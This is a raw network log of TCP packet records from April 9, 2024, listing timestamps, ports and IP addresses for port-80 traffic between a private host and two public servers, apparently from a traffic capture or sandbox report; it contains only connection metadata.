Apr 9, 2024 14:53:08.925200939 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.925214052 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.925221920 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.925226927 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.925240040 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.925251007 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.925252914 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.925270081 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.925285101 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.925295115 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.925302982 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.925314903 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.925321102 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.925328016 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.925339937 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.925352097 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.925354958 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.925364017 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.925375938 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.925389051 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.925391912 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.925403118 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.925415993 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.925421953 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.925429106 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.925440073 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.925451994 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.925451994 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.925470114 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.925473928 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.925492048 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.925513983 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.925549030 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.925602913 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.925657034 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.925663948 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.925693989 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.925703049 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.925739050 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.925776958 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.925813913 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.926240921 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.927565098 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.933763981 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:09.078531981 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:09.084731102 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:18.808512926 CEST	49733	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:18.959613085 CEST	80	49733	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:18.959678888 CEST	49733	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:18.959784031 CEST	49733	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:19.110768080 CEST	80	49733	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:19.117626905 CEST	80	49733	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:19.117676973 CEST	80	49733	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:19.117754936 CEST	49733	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:19.128860950 CEST	49733	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:19.279896975 CEST	80	49733	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:19.288018942 CEST	80	49733	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:19.288225889 CEST	49733	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:19.439244986 CEST	80	49733	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:19.439502001 CEST	80	49733	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:19.450119019 CEST	49733	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:19.601412058 CEST	80	49733	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:19.601500034 CEST	49733	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:19.752707958 CEST	80	49733	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:19.753197908 CEST	80	49733	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:19.755832911 CEST	49733	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:19.947067976 CEST	80	49733	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:19.947144985 CEST	49733	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:20.098246098 CEST	80	49733	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:20.098274946 CEST	80	49733	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:20.138727903 CEST	49733	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:20.395298004 CEST	49733	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:20.395515919 CEST	49733	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:20.395581961 CEST	49733	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:20.395663023 CEST	49733	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:20.395725965 CEST	49733	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:20.546605110 CEST	80	49733	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:20.546859026 CEST	80	49733	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:20.546953917 CEST	49733	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:20.546981096 CEST	80	49733	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:20.547015905 CEST	80	49733	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:20.547033072 CEST	49733	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:20.547403097 CEST	80	49733	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:20.547456026 CEST	49733	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:20.547743082 CEST	80	49733	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:20.547813892 CEST	49733	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:20.547962904 CEST	80	49733	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:20.548098087 CEST	49733	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:20.548106909 CEST	80	49733	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:20.548144102 CEST	49733	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:20.698273897 CEST	80	49733	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:20.698400974 CEST	49733	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:20.698486090 CEST	49733	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:20.698539972 CEST	80	49733	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:20.698554039 CEST	80	49733	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:20.698616982 CEST	49733	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:20.698846102 CEST	80	49733	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:20.698858023 CEST	80	49733	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:20.698915005 CEST	49733	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:20.698942900 CEST	49733	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:20.699568987 CEST	80	49733	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:20.699639082 CEST	49733	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:20.699729919 CEST	80	49733	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:20.699924946 CEST	49733	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:20.700053930 CEST	80	49733	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:20.700112104 CEST	49733	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:20.700169086 CEST	80	49733	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:20.700236082 CEST	49733	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:20.849814892 CEST	80	49733	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:20.849833012 CEST	80	49733	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:20.849973917 CEST	80	49733	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:20.850950003 CEST	80	49733	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:20.851068974 CEST	80	49733	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:20.851111889 CEST	80	49733	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:20.851140976 CEST	80	49733	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:20.851248026 CEST	80	49733	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:20.851978064 CEST	80	49733	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:20.904345989 CEST	49733	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:21.842143059 CEST	49733	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:21.993421078 CEST	80	49733	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:21.993530989 CEST	49733	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:22.144758940 CEST	80	49733	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:22.144820929 CEST	80	49733	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:22.144948006 CEST	80	49733	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:22.144994974 CEST	80	49733	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:22.145024061 CEST	49733	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:22.145117044 CEST	49733	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:22.145117044 CEST	49733	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:22.145148039 CEST	49733	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:27.139224052 CEST	49737	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:27.290458918 CEST	80	49737	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:27.290572882 CEST	49737	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:27.290729046 CEST	49737	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:27.441823959 CEST	80	49737	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:27.448395014 CEST	80	49737	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:27.448415995 CEST	80	49737	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:27.448452950 CEST	49737	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:27.456056118 CEST	49737	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:27.607121944 CEST	80	49737	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:27.614276886 CEST	80	49737	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:27.614521027 CEST	49737	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:27.765789986 CEST	80	49737	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:27.766064882 CEST	80	49737	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:27.768639088 CEST	49737	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:27.919809103 CEST	80	49737	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:27.920011044 CEST	49737	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:28.071299076 CEST	80	49737	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:28.071633101 CEST	80	49737	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:28.074285984 CEST	49737	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:28.267095089 CEST	80	49737	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:28.267226934 CEST	49737	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:28.418312073 CEST	80	49737	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:28.418442965 CEST	80	49737	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:28.419084072 CEST	80	49737	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:28.419188023 CEST	49737	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:28.419394970 CEST	80	49737	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:28.419758081 CEST	80	49737	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:28.419805050 CEST	49737	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:28.420074940 CEST	80	49737	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:28.420088053 CEST	80	49737	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:28.420119047 CEST	49737	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:28.420186043 CEST	80	49737	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:28.420303106 CEST	80	49737	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:28.420336008 CEST	49737	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:28.420474052 CEST	80	49737	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:28.420506001 CEST	80	49737	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:28.420540094 CEST	49737	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:28.571115971 CEST	80	49737	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:28.571185112 CEST	80	49737	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:28.571223974 CEST	80	49737	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:28.571264029 CEST	80	49737	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:28.571324110 CEST	49737	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:28.571324110 CEST	49737	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:28.571388006 CEST	80	49737	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:28.571427107 CEST	80	49737	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:28.571470976 CEST	49737	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:28.571553946 CEST	80	49737	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:28.571593046 CEST	80	49737	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:28.571630001 CEST	80	49737	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:28.571703911 CEST	80	49737	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:28.571753979 CEST	49737	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:28.571753979 CEST	49737	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:28.571811914 CEST	80	49737	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:28.571883917 CEST	80	49737	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:28.571954966 CEST	80	49737	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:28.571993113 CEST	80	49737	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:28.572035074 CEST	49737	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:28.572035074 CEST	49737	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:28.572077036 CEST	80	49737	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:28.572148085 CEST	80	49737	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:28.572241068 CEST	49737	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:28.572280884 CEST	80	49737	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:28.572319031 CEST	80	49737	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:28.572391033 CEST	80	49737	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:28.572432995 CEST	49737	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:28.572482109 CEST	80	49737	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:28.572575092 CEST	49737	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:28.722745895 CEST	80	49737	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:28.722763062 CEST	80	49737	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:28.722816944 CEST	80	49737	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:28.722902060 CEST	49737	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:28.722985983 CEST	80	49737	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:28.723031044 CEST	80	49737	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:28.723050117 CEST	49737	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:28.723110914 CEST	80	49737	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:28.723155022 CEST	80	49737	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:28.723169088 CEST	80	49737	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:28.723200083 CEST	49737	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:28.723200083 CEST	49737	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:29.801359892 CEST	49737	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:29.952378035 CEST	80	49737	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:29.952430010 CEST	49737	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:30.103609085 CEST	80	49737	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:30.103698969 CEST	80	49737	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:30.103933096 CEST	80	49737	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:30.104001999 CEST	49737	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:30.104201078 CEST	80	49737	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:30.104244947 CEST	49737	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:30.106534958 CEST	49737	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:30.106590986 CEST	49737	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:30.257524967 CEST	80	49737	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:30.257544041 CEST	80	49737	216.250.255.115	192.168.2.4
Apr 9, 2024 14:54:00.036473989 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.213361979 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.213438034 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.213618040 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.213644028 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.390446901 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.390506029 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.413510084 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.413538933 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.413549900 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.413563013 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.413574934 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.413616896 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.413629055 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.413630962 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.413642883 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.413655043 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.413667917 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.413667917 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.413687944 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.413713932 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.590584993 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.590600967 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.590611935 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.590624094 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.590635061 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.590645075 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.590656996 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.590661049 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.590668917 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.590694904 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.590718031 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.590739012 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.590749979 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.590759993 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.590770006 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.590779066 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.590789080 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.590816021 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.590825081 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.590850115 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.590869904 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.590912104 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.590924025 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.590933084 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.590944052 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.590945959 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.590979099 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.590998888 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.591037035 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.767657995 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.767679930 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.767689943 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.767705917 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.767719030 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.767755985 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.767767906 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.767800093 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.767811060 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.767822981 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.767833948 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.767838001 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.767877102 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.767877102 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.767880917 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.767894983 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.767945051 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.767976999 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.767988920 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.768047094 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.768079996 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.768126965 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.768126965 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.768132925 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.768157005 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.768167973 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.768205881 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.768229961 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.768254042 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.768311977 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.768322945 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.768364906 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.768399954 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.768409014 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.768409014 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.768414021 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.768428087 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.768440008 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.768448114 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.768462896 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.768479109 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.768491030 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.768512011 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.768531084 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.768558979 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.768568993 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.768583059 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.768594980 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.768640041 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.768675089 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.768688917 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.768716097 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.768728018 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.768739939 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.768763065 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.768767118 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.768802881 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:00.944581985 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.944621086 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.944632053 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:00.944643974 CEST	80	49739	185.196.8.137	192.168.2.4
